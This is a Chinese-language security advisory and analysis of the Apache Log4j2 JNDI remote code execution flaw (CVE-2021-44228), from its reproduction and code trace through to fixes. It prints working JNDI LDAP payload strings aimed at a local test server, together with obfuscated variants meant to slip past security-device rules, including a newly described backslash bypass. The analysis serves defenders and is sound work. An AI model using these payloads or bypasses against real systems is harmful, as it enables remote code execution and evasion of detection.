Apache Log4j2远程代码执行漏洞(CVE-2021-44228)分析

玄蜂安全团队通过巡镜网络资产风险情报系统监测发现Apache Log4j2存在远程代码执行漏洞,并且POC/EXP已在互联网上公开,目前官方已对该程序做了升级处理(最新版2.16.0,下载地址https://logging.apache.org/log4j/2.x/download.html)。

# 漏洞复现

通过公开信息了解到该漏洞影响的log4j版本为2.0-2.14.1,下面是对2.14.1版本进行的复现。

新创建一个Java项目,将下载的Apache log4j2 2.14.1中“log4j-api-2.14.1.jar”和“log4j-core-2.14.1.jar”导入项目,然后调用其error(fatal也可以)方法,复现结果如图1:

POC:”error ${jndi:ldap://127.0.0.1:1389/a} log”

> 其中1389端口为搭建的ldap服务监听端口。

# 漏洞分析

对error方法进行debug处理,通过debug追踪分析,可在“log4j-core-2.14.1.jar!/org/apache/logging/log4j/core/pattern/MessagePatternConverter.class”文件的format方法处发现漏洞触发点(如图2):

在format方法中会判断传入的参数中是否存在“${”参数,当存在时,就会执行下方的程序,然后将传入的以“${”开头,以“}”结尾的内容进行提取,然后将其value的值进行lookup,最终触发漏洞:(如图3)

且参数在lookup之前会对一些字符(主要为“:-”)进行过滤,如图4:

且程序在lookup前读取传入的“${”内容是循环迭代的,只要发现存在就会进行一次lookup的循环执行,如传入参数为“error ${${::-j}ndi:ldap://127.0.0.1:1389/a} log”,第一次循环获取的结果为“${::-j}”(图5):

第二次循环的结果:(如图6)

在结合其会过滤图5中的一些字符,故可利用一些方式进行安全设备规则的绕过,已知互联网上公开的绕过方式(如图7):

绕过安全设备主要规则为:“${:-}”、“${lower:}”、“${upper:}”、“jndi:rmi”、“${env:NaN}”,

经分析,发现还可以使用“\\”进行干扰:(如图8)

${j${\:\:\:-}n${\:\:\:-d}i:ldap://127.0.0.1:1389/a}

# 受影响应用

通过从网上公开信息可知,该漏洞影响版本为大于2.0,小于2.15.0-rc2。

更多影响应用可前往以下两个链接进行查询:(图9)

链接一:https://github.com/NCSC-NL/log4shell/tree/main/software

链接二:https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-core/usages?p=1

# 修复建议

使用高版本JDK(如JDK11、>=8u190、>=7u201、>=6u211),下载官方最新版本(大于或等于2.15-rc2的版本):

官方下载地址:https://logging.apache.org/log4j/2.x/download.html

临时修复措施:在项目的classpath下添加“log4j2.component.properties”文件,内容为“log4j2.formatMsgNoLookups=true”,通过该方法可在一定程度上防护该漏洞攻击(图10)。